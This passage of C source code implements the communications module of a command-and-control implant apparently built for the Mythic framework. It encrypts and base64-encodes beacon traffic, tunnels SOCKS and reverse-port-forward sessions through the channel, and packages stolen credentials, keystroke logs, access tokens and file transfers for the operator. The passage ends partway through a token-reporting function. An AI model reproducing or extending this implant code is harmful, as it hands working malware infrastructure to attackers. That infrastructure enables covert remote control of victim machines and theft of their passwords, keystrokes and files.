#include "crypto.h"  // Include crypto.h BEFORE angerona.h to avoid redeclaration
#include "angerona.h"
#include "paquete.h"
#include "socks_manager.h"
#include "rpfwd_manager.h"

// Creacion de un nuevo paquete. Si init es true, agrega el id del comando y el UUID al paquete.
PPaquete nuevoPaquete(BYTE idComando, BOOL init) {
    _dbg("nuevoPaquete(idComando=0x%02X, init=%d)", idComando, init);
    PPaquete paquete = (PPaquete)LocalAlloc(LPTR, sizeof(Paquete));
    if (!paquete) {
        _err("Error: fallo al asignar memoria para Paquete\n");
        return NULL;
    }
    paquete->buffer = LocalAlloc(LPTR, sizeof(BYTE));
    if (!paquete->buffer) {
        return NULL;
    }

    paquete->length = 0;
    if (init) {
        addString(paquete, angeronaConfig->idAgente, FALSE);
        addByte(paquete, idComando);
    }

    return paquete;
}

VOID liberarPaquete(PPaquete paquete) {
    _dbg("liberarPaquete()");
    LocalFree(paquete->buffer);
    LocalFree(paquete);
}

/* Callback C para volcar mensajes SOCKS al paquete */
static void flush_socks_cb(uint32_t server_id, int exit_flag, const unsigned char *data, size_t data_len, void *ctx) {
    PPaquete pkt = (PPaquete)ctx;
    _dbg("flush_socks_cb: sid=%u exit=%d len=%zu", server_id, exit_flag, data_len);
    addInt32(pkt, server_id);
    addByte(pkt, (BYTE)(exit_flag ? 1 : 0));
    if (data_len && data) {
        char *b64 = b64Codificado(data, (SIZE_T)data_len);
        SIZE_T b64len = b64 ? strlen(b64) : 0;
        addInt32(pkt, (UINT32)b64len);
        if (b64len) addBytes(pkt, (PBYTE)b64, b64len, FALSE);
        if (b64) LocalFree(b64);
    } else {
        addInt32(pkt, 0);
    }
    _dbg("flush_socks_cb completed");
}

/* Callback C para volcar mensajes RPFWD al paquete */
static void flush_rpfwd_cb(uint32_t server_id, int exit_flag, const unsigned char *data, size_t data_len, uint32_t port, void *ctx) {
    PPaquete pkt = (PPaquete)ctx;
    _dbg("flush_rpfwd_cb: sid=%u exit=%d len=%zu port=%u", server_id, exit_flag, data_len, port);
    addInt32(pkt, server_id);
    addByte(pkt, (BYTE)(exit_flag ? 1 : 0));
    if (data_len && data) {
        char *b64 = b64Codificado(data, (SIZE_T)data_len);
        SIZE_T b64len = b64 ? strlen(b64) : 0;
        addInt32(pkt, (UINT32)b64len);
        if (b64len) addBytes(pkt, (PBYTE)b64, b64len, FALSE);
        if (b64) LocalFree(b64);
    } else {
        addInt32(pkt, 0);
    }
    // Add port (optional, but needed if multiple RPFWD ports are supported)
    addInt32(pkt, port);
    _dbg("flush_rpfwd_cb completed");
}

/* === Nueva función: inserta tráfico SOCKS pendiente === */
static VOID flushSocksTraffic(PPaquete paquete) {
    _dbg("flushSocksTraffic()");
    /* Emit marker and number of SOCKS messages if there are any; we buffer to temp first */
    PPaquete temp = nuevoPaquete(0, FALSE);
    if (!temp) {
        _err("nuevoPaquete temp failed");
        return;
    }
    _dbg("temp paquete created");
    
    socks_manager_flush_outgoing(flush_socks_cb, (void*)temp);
    _dbg("socks_manager_flush_outgoing done, temp->length=%zu", temp->length);

    if (temp->length > 0) {
        _dbg("Adding SOCKS block marker");
        /* Frame: 0xF5 | [Int32 total_len] | [temp bytes] */
        addByte(paquete, (BYTE)SOCKS_BLOCK_MARKER);
        addInt32(paquete, (UINT32)temp->length);
        addBytes(paquete, (PBYTE)temp->buffer, temp->length, FALSE);
    }
    liberarPaquete(temp);
    _dbg("flushSocksTraffic() completed");
}

/* === Nueva función: inserta tráfico RPFWD pendiente === */
static VOID flushRpfwdTraffic(PPaquete paquete) {
    _dbg("flushRpfwdTraffic()");
    /* Emit marker and number of RPFWD messages if there are any; we buffer to temp first */
    PPaquete temp = nuevoPaquete(0, FALSE);
    if (!temp) {
        _err("nuevoPaquete temp failed");
        return;
    }
    _dbg("temp paquete created");
    
    rpfwd_manager_flush_outgoing(flush_rpfwd_cb, (void*)temp);
    _dbg("rpfwd_manager_flush_outgoing done, temp->length=%zu", temp->length);

    if (temp->length > 0) {
        _dbg("Adding RPFWD block marker");
        /* Frame: 0xF2 | [Int32 total_len] | [temp bytes] */
        addByte(paquete, (BYTE)RPFWD_BLOCK_MARKER);
        addInt32(paquete, (UINT32)temp->length);
        addBytes(paquete, (PBYTE)temp->buffer, temp->length, FALSE);
    }
    liberarPaquete(temp);
    _dbg("flushRpfwdTraffic() completed");
}

/* === Enviar paquete con soporte SOCKS === */
PAnalizador mandarPaquete(PPaquete paquete) {
    _inf("=== mandarPaquete INICIO === len=%zu", paquete->length);
    if (!paquete) {
        _err("mandarPaquete: paquete es NULL");
        return NULL;
    }
    if (!paquete->buffer) {
        _err("mandarPaquete: paquete->buffer es NULL");
        return NULL;
    }
    _dbg("mandarPaquete() len=%zu", paquete->length);

    // Solo añadir tráfico SOCKS si el proxy está activo
    if (socks_proxy_active) {
        _dbg("SOCKS activo, flushSocksTraffic()");
        flushSocksTraffic(paquete);
    } else {
        _dbg("SOCKS inactivo, saltando flushSocksTraffic()");
    }
    
    // Solo añadir tráfico RPFWD si está activo
    if (rpfwd_active) {
        _dbg("RPFWD activo, flushRpfwdTraffic()");
        flushRpfwdTraffic(paquete);
    } else {
        _dbg("RPFWD inactivo, saltando flushRpfwdTraffic()");
    }

    // === Handle encryption according to Mythic format ===
    // Format with encryption: Base64(PayloadUUID + AES256(rest_of_data))
    // Format without encryption: Base64(full_packet)
    PBYTE datosAEnviar = NULL;
    SIZE_T tamanoAEnviar = 0;
    
    if (crypto_is_encryption_enabled()) {
        _inf("Cifrado habilitado, formato: Base64(UUID + AES256(data))");
        
        // Extract UUID - UUID is always 36 characters (UUIDv4 format)
        // Format: [UUID(36)][command_byte][rest...]
        // When addString is called with tamanoCopia=FALSE, no length prefix is added
        const SIZE_T UUID_LENGTH = 36;
        
        if (paquete->length < UUID_LENGTH + 1) {
            _err("Paquete demasiado corto para extraer UUID (length=%zu, need at least %zu)", 
                 paquete->length, UUID_LENGTH + 1);
            return NULL;
        }
        
        // Extract UUID string (first 36 bytes)
        PCHAR uuidStr = (PCHAR)paquete->buffer;
        SIZE_T dataOffset = UUID_LENGTH;  // After UUID, before/at command byte
        SIZE_T dataLength = paquete->length - UUID_LENGTH;
        
        // Log UUID extraction with detailed info
        char uuidBuf[37] = {0};
        memcpy(uuidBuf, uuidStr, UUID_LENGTH);
        _dbg("=== EXTRACTING UUID ===");
        _dbg("Tamaño total del paquete: %zu bytes", paquete->length);
        _dbg("UUID extraído: %s (length: %zu)", uuidBuf, UUID_LENGTH);
        _dbg("Data offset (after UUID): %zu", dataOffset);
        _dbg("Datos a cifrar: %zu bytes", dataLength);
        
        // Create a temporary package with only the data part (without UUID)
        PPaquete dataPackage = (PPaquete)LocalAlloc(LPTR, sizeof(Paquete));
        if (!dataPackage) {
            _err("Failed to allocate data package");
            return NULL;
        }
        
        dataPackage->buffer = LocalAlloc(LPTR, dataLength);
        if (!dataPackage->buffer) {
            LocalFree(dataPackage);
            _err("Failed to allocate data buffer");
            return NULL;
        }
        
        memcpy(dataPackage->buffer, (PBYTE)paquete->buffer + dataOffset, dataLength);
        dataPackage->length = dataLength;
        
        // Encrypt only the data part (without UUID)
        _inf("=== STARTING ENCRYPTION ===");
        _dbg("Calling CryptoMythicEncryptPackage() with %zu bytes...", dataPackage->length);
        
        if (!CryptoMythicEncryptPackage(dataPackage)) {
            _err("Falló el cifrado");
            LocalFree(dataPackage->buffer);
            LocalFree(dataPackage);
            return NULL;
        }
        
        _inf("=== ENCRYPTION COMPLETE ===");
        
        // Concatenate UUID + encrypted data
        SIZE_T finalSize = UUID_LENGTH + dataPackage->length;
        PBYTE finalBuffer = (PBYTE)LocalAlloc(LPTR, finalSize);
        if (!finalBuffer) {
            LocalFree(dataPackage->buffer);
            LocalFree(dataPackage);
            _err("Failed to allocate final buffer");
            return NULL;
        }
        
        memcpy(finalBuffer, uuidStr, UUID_LENGTH);
        memcpy(finalBuffer + UUID_LENGTH, dataPackage->buffer, dataPackage->length);
        
        datosAEnviar = finalBuffer;
        tamanoAEnviar = finalSize;
        
        // Cleanup temporary package
        LocalFree(dataPackage->buffer);
        LocalFree(dataPackage);
    } else {
        _inf("Cifrado deshabilitado, enviando plaintext completo");
        datosAEnviar = (PBYTE)paquete->buffer;
        tamanoAEnviar = paquete->length;
    }

    // Codificar en base64
    PCHAR paqueteParaMandar = b64Codificado((const unsigned char*)datosAEnviar, tamanoAEnviar);
    SIZE_T tamanoDelPaquete = b64tamanoCodificado(tamanoAEnviar);

    if (!paqueteParaMandar) {
        _err("b64Codificado returned NULL");
        if (crypto_is_encryption_enabled() && datosAEnviar != paquete->buffer) {
            LocalFree(datosAEnviar);
        }
        return NULL;
    }
    _inf("=== READY TO SEND ===");
    _dbg("Enviando paquete base64 de %zu bytes", tamanoDelPaquete);
    PAnalizador respuesta = mandarYRecibir((PBYTE)paqueteParaMandar, tamanoDelPaquete);
    LocalFree(paqueteParaMandar);
    
    // Free the encrypted buffer if we allocated it
    if (crypto_is_encryption_enabled() && datosAEnviar != paquete->buffer) {
        LocalFree(datosAEnviar);
    }

    if (!respuesta) {
        _err("mandarPaquete: respuesta NULL después de mandarYRecibir");
        return NULL;
    }

    _inf("mandarPaquete: respuesta recibida exitosamente (tamano=%zu)", respuesta->tamano);
    _dbg("respuesta OK");

    // === Decodificar base64 de la respuesta ===
    // When mythic_encrypts=True and crypto_type=aes256_hmac, the translator encrypts
    // the response, but the agent still receives it base64-encoded from HTTP.
    // The agent will handle decryption AFTER base64 decode if needed.
    if (respuesta && respuesta->original && respuesta->tamano > 0) {
        _dbg("Decodificando base64 de %zu bytes...", respuesta->tamano);
        
        PBYTE datosDecodificados = NULL;
        SIZE_T tamanoDecodificado = 0;
        
        // Convertir a string null-terminated para decodificar
        PCHAR base64str = LocalAlloc(LPTR, respuesta->tamano + 1);
        if (base64str) {
            memcpy(base64str, respuesta->original, respuesta->tamano);
            base64str[respuesta->tamano] = '\0';
            
            // Decodificar
            if (base64_decode(base64str, &datosDecodificados, &tamanoDecodificado)) {
                _dbg("Base64 decodificado: %zu bytes", tamanoDecodificado);
                
                // === Decrypt if encryption is enabled ===
                if (crypto_is_encryption_enabled()) {
                    _inf("=== DECRYPTING RESPONSE ===");
                    _dbg("Base64 decoded size: %zu bytes", tamanoDecodificado);
                    
                    // Log raw data before decryption
                    _dbg("Raw response before decryption (hex, first 80 bytes): ");
                    for (size_t i = 0; i < (tamanoDecodificado > 80 ? 80 : tamanoDecodificado); i++) {
                        _dbg("  %02x ", datosDecodificados[i]);
                        if ((i + 1) % 32 == 0) _dbg("\n");
                    }
                    
                    // Check if response starts with UUID (which would mean it's in format UUID + encrypted_data)
                    if (tamanoDecodificado >= 36) {
                        char uuidCheck[37] = {0};
                        memcpy(uuidCheck, datosDecodificados, 36);
                        _dbg("First 36 bytes (UUID check): %s", uuidCheck);
                        _dbg("Expected UUID: %s", angeronaConfig->idAgente);
                        
                        // If response starts with UUID, we need to extract it
                        if (strncmp(uuidCheck, angeronaConfig->idAgente, 36) == 0) {
                            _dbg("Response format: UUID + encrypted_data detected");
                            _dbg("Extracting encrypted data (after UUID)...");
                            
                            // Extract encrypted data (without UUID)
                            SIZE_T encrypted_size = tamanoDecodificado - 36;
                            PBYTE encrypted_data = (PBYTE)LocalAlloc(LPTR, encrypted_size);
                            if (encrypted_data) {
                                memcpy(encrypted_data, datosDecodificados + 36, encrypted_size);
                                _dbg("Encrypted data size (without UUID): %zu bytes", encrypted_size);
                                
                                // Create parser with just the encrypted data
                                PAnalizador tempParser = LocalAlloc(LPTR, sizeof(Analizador));
                                if (tempParser) {
                                    tempParser->buffer = encrypted_data;
                                    tempParser->tamano = encrypted_size;
                                    
                                    if (CryptoMythicDecryptParser(tempParser)) {
                                        _inf("=== DECRYPTION SUCCESS ===");
                                        _dbg("Decrypted size: %zu bytes", tempParser->tamano);
                                        
                                        // Create final buffer with UUID + decrypted data
                                        SIZE_T final_size = 36 + tempParser->tamano;
                                        PBYTE final_buffer = (PBYTE)LocalAlloc(LPTR, final_size);
                                        if (final_buffer) {
                                            memcpy(final_buffer, datosDecodificados, 36);  // UUID
                                            memcpy(final_buffer + 36, tempParser->buffer, tempParser->tamano);  // Decrypted data
                                            LocalFree(datosDecodificados);
                                            datosDecodificados = final_buffer;
                                            tamanoDecodificado = final_size;
                                            _dbg("Final response (UUID + decrypted): %zu bytes", final_size);
                                        }
                                    } else {
                                        _err("Falló el descifrado");
                                    }
                                    LocalFree(tempParser);
                                } else {
                                    LocalFree(encrypted_data);
                                }
                            }
                        } else {
                            // Response doesn't start with UUID, try decrypting directly
                            _dbg("Response doesn't start with UUID, trying direct decryption...");
                            PAnalizador tempParser = LocalAlloc(LPTR, sizeof(Analizador));
                            if (tempParser) {
                                tempParser->buffer = datosDecodificados;
                                tempParser->tamano = tamanoDecodificado;
                                
                                if (CryptoMythicDecryptParser(tempParser)) {
                                    _inf("=== DECRYPTION SUCCESS (no UUID in response) ===");
                                    _dbg("Decrypted size: %zu bytes", tempParser->tamano);
                                    datosDecodificados = tempParser->buffer;
                                    tamanoDecodificado = tempParser->tamano;
                                } else {
                                    _err("Falló el descifrado");
                                }
                                LocalFree(tempParser);
                            }
                        }
                    } else {
                        _wrn("Response too short (%zu bytes), cannot check UUID", tamanoDecodificado);
                        // Try decrypting anyway
                        PAnalizador tempParser = LocalAlloc(LPTR, sizeof(Analizador));
                        if (tempParser) {
                            tempParser->buffer = datosDecodificados;
                            tempParser->tamano = tamanoDecodificado;
                            
                            if (CryptoMythicDecryptParser(tempParser)) {
                                _dbg("Decryption succeeded for short response");
                                datosDecodificados = tempParser->buffer;
                                tamanoDecodificado = tempParser->tamano;
                            } else {
                                _err("Falló el descifrado");
                            }
                            LocalFree(tempParser);
                        }
                    }
                }
                
                // Reemplazar el buffer del analizador
                LocalFree(respuesta->original);
                respuesta->original = datosDecodificados;
                respuesta->buffer = datosDecodificados;
                respuesta->tamano = tamanoDecodificado;
                
                // AHORA parsear bloque SOCKS en los datos DECODIFICADOS
                if (respuesta->tamano >= 5) {
                    PBYTE buf = respuesta->original;
                    SIZE_T len = respuesta->tamano;
                    SIZE_T cursor = len - 5;
                    BOOL found = FALSE;
                    
                    _dbg("Buscando bloque SOCKS (marker 0xF5) en %zu bytes decodificados", len);
                    
                    // Buscar marcador desde el final
                    while (cursor > 0 && cursor < len - 4) {
                        if (buf[cursor] == (BYTE)SOCKS_BLOCK_MARKER) {
                            _dbg("¡Marcador 0xF5 encontrado en offset %zu!", cursor);
                            
                            UINT32 ext_len = (buf[cursor+1] << 24) | (buf[cursor+2] << 16) | (buf[cursor+3] << 8) | buf[cursor+4];
                            _dbg("Bloque SOCKS: ext_len=%u", ext_len);
                            
                            if (cursor + 5 + ext_len > len) {
                                _err("bloque SOCKS truncado");
                                break;
                            }
                            
                            SIZE_T ecur = cursor + 5;
                            SIZE_T eend = cursor + 5 + ext_len;
                            while (ecur + 9 <= eend) {
                                UINT32 sid = (buf[ecur] << 24) | (buf[ecur+1] << 16) | (buf[ecur+2] << 8) | buf[ecur+3];
                                BYTE exitf = buf[ecur+4];
                                UINT32 b64len = (buf[ecur+5] << 24) | (buf[ecur+6] << 16) | (buf[ecur+7] << 8) | buf[ecur+8];
                                ecur += 9;
                                
                                if (ecur + b64len > eend) break;
                                
                                unsigned char *raw = NULL;
                                size_t raw_len = 0;
                                char *b64str_socks = NULL;
                                
                                if (b64len > 0) {
                                    b64str_socks = (char*)LocalAlloc(LPTR, b64len + 1);
                                    if (b64str_socks) {
                                        memcpy(b64str_socks, buf + ecur, b64len);
                                        b64str_socks[b64len] = '\0';
                                        _dbg("Decodificando base64 SOCKS: %s", b64str_socks);
                                        base64_decode(b64str_socks, &raw, &raw_len);
                                        _dbg("Base64 SOCKS decodificado: %zu bytes", raw_len);
                                        LocalFree(b64str_socks);
                                    }
                                }
                                
                                _dbg("Procesando SOCKS incoming: sid=%u exit=%u len=%zu", sid, exitf, raw_len);
                                socks_manager_process_incoming(sid, exitf ? 1 : 0, raw, raw_len);
                                
                                if (raw) LocalFree(raw);
                                ecur += b64len;
                            }
                            
                            // Remover bloque SOCKS del analizador
                            respuesta->tamano = cursor;
                            _dbg("Bloque SOCKS procesado, tamaño ajustado a %zu", cursor);
                            found = TRUE;
                            break;
                        }
                        cursor--;
                    }
                    
                    if (!found) {
                        _dbg("No se encontró bloque SOCKS");
                    }
                    
                    // Buscar bloque RPFWD (similar a SOCKS pero con puerto)
                    cursor = len - 5;
                    found = FALSE;
                    _dbg("Buscando bloque RPFWD (marker 0xF2) en %zu bytes decodificados", len);
                    
                    while (cursor > 0 && cursor < len - 4) {
                        if (buf[cursor] == (BYTE)RPFWD_BLOCK_MARKER) {
                            _dbg("¡Marcador 0xF2 (RPFWD) encontrado en offset %zu!", cursor);
                            
                            UINT32 ext_len = (buf[cursor+1] << 24) | (buf[cursor+2] << 16) | (buf[cursor+3] << 8) | buf[cursor+4];
                            _dbg("Bloque RPFWD: ext_len=%u", ext_len);
                            
                            if (cursor + 5 + ext_len > len) {
                                _err("bloque RPFWD truncado");
                                break;
                            }
                            
                            SIZE_T ecur = cursor + 5;
                            SIZE_T eend = cursor + 5 + ext_len;
                            while (ecur + 13 <= eend) { // 4 (sid) + 1 (exit) + 4 (b64len) + 4 (port) = 13
                                UINT32 sid = (buf[ecur] << 24) | (buf[ecur+1] << 16) | (buf[ecur+2] << 8) | buf[ecur+3];
                                BYTE exitf = buf[ecur+4];
                                UINT32 b64len = (buf[ecur+5] << 24) | (buf[ecur+6] << 16) | (buf[ecur+7] << 8) | buf[ecur+8];
                                UINT32 port = (buf[ecur+9] << 24) | (buf[ecur+10] << 16) | (buf[ecur+11] << 8) | buf[ecur+12];
                                ecur += 13;
                                
                                if (ecur + b64len > eend) break;
                                
                                unsigned char *raw = NULL;
                                size_t raw_len = 0;
                                char *b64str_rpfwd = NULL;
                                
                                if (b64len > 0) {
                                    b64str_rpfwd = (char*)LocalAlloc(LPTR, b64len + 1);
                                    if (b64str_rpfwd) {
                                        memcpy(b64str_rpfwd, buf + ecur, b64len);
                                        b64str_rpfwd[b64len] = '\0';
                                        _dbg("Decodificando base64 RPFWD: %s", b64str_rpfwd);
                                        base64_decode(b64str_rpfwd, &raw, &raw_len);
                                        _dbg("Base64 RPFWD decodificado: %zu bytes", raw_len);
                                        LocalFree(b64str_rpfwd);
                                    }
                                }
                                
                                _dbg("Procesando RPFWD incoming: sid=%u exit=%u len=%zu port=%u", sid, exitf, raw_len, port);
                                rpfwd_manager_process_incoming(sid, exitf ? 1 : 0, raw, raw_len, port);
                                
                                if (raw) LocalFree(raw);
                                ecur += b64len;
                            }
                            
                            // Remover bloque RPFWD del analizador
                            respuesta->tamano = cursor;
                            _dbg("Bloque RPFWD procesado, tamaño ajustado a %zu", cursor);
                            found = TRUE;
                            break;
                        }
                        cursor--;
                    }
                    
                    if (!found) {
                        _dbg("No se encontró bloque RPFWD");
                    }
                }
            } else {
                _err("fallo al decodificar base64");
            }
            LocalFree(base64str);
        }
    }

    return respuesta;
}

/* === Funciones auxiliares === */
BOOL addByte(PPaquete paquete, BYTE byte) {
    paquete->buffer = LocalReAlloc(paquete->buffer, paquete->length + sizeof(BYTE), LMEM_MOVEABLE);
    if (!paquete->buffer) {
        return FALSE;
    }
    ((PBYTE)paquete->buffer + paquete->length)[0] = byte;
    paquete->length += 1;
    return TRUE;
}

BOOL addInt32(PPaquete paquete, UINT32 valor) {
    paquete->buffer = LocalReAlloc(paquete->buffer, paquete->length + sizeof(UINT32), LMEM_MOVEABLE | LMEM_ZEROINIT);
    if (!paquete->buffer) {
        return FALSE;
    }
    addInt32ToBuffer((PUCHAR)(paquete->buffer) + paquete->length, valor);
    paquete->length += sizeof(UINT32);
    return TRUE;
}

BOOL addInt64(PPaquete paquete, UINT64 valor) {
    paquete->buffer = LocalReAlloc(paquete->buffer, paquete->length + sizeof(UINT64), LMEM_MOVEABLE | LMEM_ZEROINIT);
    if (!paquete->buffer) {
        return FALSE;
    }
    // Write at the end of the buffer (paquete->length offset)
    addInt64ToBuffer((PUCHAR)(paquete->buffer) + paquete->length, valor);
    paquete->length += sizeof(UINT64);
    return TRUE;
}

BOOL addBytes(PPaquete paquete, PBYTE datos, SIZE_T tamano, BOOL tamanoCopia) {
    if (tamanoCopia && tamano) {
        if (!addInt32(paquete, tamano)) {
            return FALSE;
        }
    }
    if (tamano) {
        paquete->buffer = LocalReAlloc(paquete->buffer, paquete->length + tamano, LMEM_MOVEABLE | LMEM_ZEROINIT);
        if (!paquete->buffer) {
            return FALSE;
        }
        memcpy((PBYTE)paquete->buffer + paquete->length, datos, tamano);
        paquete->length += tamano;
    }
    return TRUE;
}

BOOL addString(PPaquete paquete, PCHAR datos, BOOL tamanoCopia) {
    if (!addBytes(paquete, (PBYTE)datos, strlen(datos), tamanoCopia)) {
        return FALSE;
    }
    return TRUE;
}

BOOL addWString(PPaquete paquete, PWCHAR datos, BOOL tamanoCopia) {
    if (!addBytes(paquete, (PBYTE)datos, lstrlenW(datos) * 2, tamanoCopia)) {
        return FALSE;
    }
    return TRUE;
}

BOOL PackageAddFormatPrintf(PPaquete package, BOOL copySize, char* fmt, ...) {
    va_list args;
    va_start(args, fmt);
    int requiredLength = vsnprintf(NULL, 0, fmt, args) + 1;
    va_end(args);

    char* tempBuffer = (char*)malloc(requiredLength);
    if (!tempBuffer) return FALSE;

    va_start(args, fmt);
    vsnprintf(tempBuffer, requiredLength, fmt, args);
    va_end(args);

    if (!addString(package, tempBuffer, copySize)) {
        free(tempBuffer);
        return FALSE;
    }

    free(tempBuffer);
    return TRUE;
}
// Sends SUCCESS post_response to server for individual task (similar to Xenon's PackageComplete)
VOID paqueteCompletado(PCHAR taskUuid, PPaquete datosOpcionales) {
    // Initialize post_response package
    PPaquete respuesta = nuevoPaquete(POST_RESPONSE, TRUE);
    addString(respuesta, taskUuid, FALSE);

    if (datosOpcionales != NULL && datosOpcionales->buffer != NULL && datosOpcionales->length > 0) {
        // Use data from package
        addBytes(respuesta, (PBYTE)datosOpcionales->buffer, datosOpcionales->length, TRUE);
    } else {
        // If no data, add empty output
        addInt32(respuesta, 0);
    }

    // Success response - add TASK_COMPLETE byte
    addByte(respuesta, TASK_COMPLETE);

    // Send
    Analizador* resp = mandarPaquete(respuesta);
    
    // Cleanup
    liberarPaquete(respuesta);
    if (resp) liberarAnalizador(resp);
}

// Helper function to add artifacts to response packages
// Format: [0xFF marker][artifact_type_len:4][artifact_type][artifact_value_len:4][artifact_value]
VOID addArtifact(PPaquete paquete, PCHAR artifact_type, PCHAR artifact_value) {
    if (!paquete || !artifact_type || !artifact_value) {
        return;
    }
    
    // Artifact marker
    addByte(paquete, 0xFF);
    
    // Artifact type length and value
    SIZE_T type_len = strlen(artifact_type);
    addInt32(paquete, (UINT32)type_len);
    addString(paquete, artifact_type, FALSE);
    
    // Artifact value length and value
    SIZE_T value_len = strlen(artifact_value);
    addInt32(paquete, (UINT32)value_len);
    addString(paquete, artifact_value, FALSE);
}

// Helper function to add credentials to response packages
// Format: [0xFE marker][credential_type_len:4][credential_type][realm_len:4][realm][credential_len:4][credential][account_len:4][account]
// credential_type must be one of: plaintext, certificate, hash, key, ticket, cookie
VOID addCredential(PPaquete paquete, PCHAR credential_type, PCHAR realm, PCHAR credential, PCHAR account) {
    if (!paquete || !credential_type || !credential || !account) {
        return;
    }
    
    // Credential marker (0xFE, different from artifact marker 0xFF)
    addByte(paquete, 0xFE);
    
    // Credential type length and value
    SIZE_T type_len = strlen(credential_type);
    addInt32(paquete, (UINT32)type_len);
    addString(paquete, credential_type, FALSE);
    
    // Realm (can be empty string, but must be included)
    // Handle NULL realm parameter by using empty string
    PCHAR realmToAdd = (realm && realm[0] != '\0') ? realm : "";
    SIZE_T realm_len = strlen(realmToAdd);
    addInt32(paquete, (UINT32)realm_len);
    if (realm_len > 0) {
        addString(paquete, realmToAdd, FALSE);
    }
    
    // Credential length and value
    SIZE_T cred_len = strlen(credential);
    addInt32(paquete, (UINT32)cred_len);
    addString(paquete, credential, FALSE);
    
    // Account length and value
    SIZE_T account_len = strlen(account);
    addInt32(paquete, (UINT32)account_len);
    addString(paquete, account, FALSE);
}

/* Download registration: adds download registration marker and data to response package */
/* Format: [0xFD marker][action:1=0][full_path_len:4][full_path][total_chunks:4][chunk_size:4] */
VOID addDownloadRegistration(PPaquete paquete, PCHAR full_path, UINT32 total_chunks, UINT32 chunk_size) {
    if (!paquete || !full_path) {
        return;
    }
    
    // Download registration marker (0xFD)
    addByte(paquete, 0xFD);
    
    // Action: 0 = registration
    addByte(paquete, 0);
    
    // Full path length and value
    SIZE_T path_len = strlen(full_path);
    addInt32(paquete, (UINT32)path_len);
    addString(paquete, full_path, FALSE);
    
    // Total chunks (can be -1 if unknown)
    addInt32(paquete, total_chunks);
    
    // Chunk size
    addInt32(paquete, chunk_size);
}

/* Download chunk: adds download chunk marker and data to response package */
/* Format: [0xFC marker][action:1=1][file_id_len:4][file_id][chunk_num:4][chunk_data_len:4][chunk_data_base64] */
VOID addDownloadChunk(PPaquete paquete, PCHAR file_id, UINT32 chunk_num, PBYTE chunk_data, SIZE_T chunk_data_len) {
    if (!paquete || !file_id || !chunk_data || chunk_data_len == 0) {
        return;
    }
    
    // Download chunk marker (0xFC)
    addByte(paquete, 0xFC);
    
    // Action: 1 = chunk
    addByte(paquete, 1);
    
    // File ID length and value
    SIZE_T file_id_len = strlen(file_id);
    addInt32(paquete, (UINT32)file_id_len);
    addString(paquete, file_id, FALSE);
    
    // Chunk number (1-based)
    addInt32(paquete, chunk_num);
    
    // Encode chunk data to base64
    char* chunk_data_b64 = b64Codificado(chunk_data, chunk_data_len);
    if (!chunk_data_b64) {
        _err("[download] Error encoding chunk data to base64\n");
        return;
    }
    
    SIZE_T chunk_b64_len = strlen(chunk_data_b64);
    addInt32(paquete, (UINT32)chunk_b64_len);
    addString(paquete, chunk_data_b64, FALSE);
    
    LocalFree(chunk_data_b64);
}

VOID addUploadRequest(PPaquete paquete, PCHAR file_id, UINT32 chunk_size, UINT32 chunk_num, PCHAR full_path) {
    if (!paquete || !file_id) {
        return;
    }
    
    // Upload request marker (0xF8)
    addByte(paquete, 0xF8);
    
    // File ID length and value
    SIZE_T file_id_len = strlen(file_id);
    addInt32(paquete, (UINT32)file_id_len);
    addString(paquete, file_id, FALSE);
    
    // Chunk size
    addInt32(paquete, chunk_size);
    
    // Chunk number (1-based)
    addInt32(paquete, chunk_num);
    
    // Full path length and value (optional, can be empty string)
    if (!full_path) {
        full_path = "";
    }
    SIZE_T path_len = strlen(full_path);
    addInt32(paquete, (UINT32)path_len);
    if (path_len > 0) {
        addString(paquete, full_path, FALSE);
    }
}

/* Commands helper: for reporting command add/remove to Mythic */
/* Format: [0xF7 marker][action_len:4][action][cmd_len:4][cmd] */
/* action must be "add" or "remove", cmd is the command name */
VOID addCommand(PPaquete paquete, PCHAR action, PCHAR cmd) {
    if (!paquete || !action || !cmd) {
        return;
    }
    
    // Commands marker (0xF7)
    addByte(paquete, 0xF7);
    
    // Action length and value ("add" or "remove")
    SIZE_T action_len = strlen(action);
    addInt32(paquete, (UINT32)action_len);
    addString(paquete, action, FALSE);
    
    // Command name length and value
    SIZE_T cmd_len = strlen(cmd);
    addInt32(paquete, (UINT32)cmd_len);
    addString(paquete, cmd, FALSE);
}

// Helper function to add keylog entries to response packages
// Format: [0xF6 marker][user_len:4][user][title_len:4][title][keys_len:4][keystrokes]
VOID addKeylog(PPaquete paquete, PCHAR user, PCHAR window_title, PCHAR keystrokes) {
    if (!paquete || !user || !window_title || !keystrokes) {
        return;
    }

    addByte(paquete, 0xF6);

    SIZE_T user_len = strlen(user);
    addInt32(paquete, (UINT32)user_len);
    addString(paquete, user, FALSE);

    SIZE_T title_len = strlen(window_title);
    addInt32(paquete, (UINT32)title_len);
    addString(paquete, window_title, FALSE);

    SIZE_T keys_len = strlen(keystrokes);
    addInt32(paquete, (UINT32)keys_len);
    addString(paquete, keystrokes, FALSE);
}

// Helper function to add token to response packages
// Format: [0xF4 marker][token_id:4][host_len:4][host][description_len:4][description][user_len:4][user][groups_len:4][groups][thread_id:4][process_id:4][default_dacl_len:4][default_dacl][session_id:4][restricted:1][capabilities_len:4][capabilities][logon_sid_len:4][logon_sid][integrity_level_sid:4][app_container_number:4][app_container_sid_len:4][app_container_sid][privileges_len:4][privileges][handle:8]
// All optional fields use length-prefixed strings, integers are big-endian
VOID addToken(PPaquete paquete, UINT32 token_id, PCHAR host, PCHAR description, PCHAR user, PCHAR groups, 
              UINT32 thread_id, UINT32 process_id, PCHAR default_dacl, UINT32 session_id, BOOL restricted,
              PCHAR capabilities, PCHAR logon_sid, UINT32 integrity_level_sid, UINT32 app_container_number,
              PCHAR app_container_sid, PCHAR privileges, UINT64 handle) {
    if (!paquete) {
        return;
    }
    
    // Token marker (0xF4)
    addByte(paquete, 0xF4);
    
    // Required: token_id
    addInt32(paquete, token_id);
    
    // Optional fields - use empty string if NULL
    #define ADD_OPT_STRING(str) do { \
        if (str) { \
            SIZE_T len = strlen(str); \
            addInt32(paquete, (UINT32)len); \
            addString(paquete, str, FALSE); \
        } else { \
            addInt32(paquete, 0); \
        } \
    } while(0)
    
    ADD_OPT_STRING(host);
    ADD_OPT_STRING(description);
    ADD_OPT_STRING(user);
    ADD_OPT_STRING(groups);
    
    addInt32(paquete, thread_id);
    addInt32(paquete, process_id);
    
    ADD_OPT_STRING(default_dacl);
    addInt32(paquete, session_id);
    addByte(paquete, restricted ? 1 : 0);
    
    ADD_OPT_STRING(capabilities);
    ADD_OPT_STRING(logon_sid);
    addInt32(paquete, integrity_level_sid);
    addInt32(paquete, app_container_number);
    
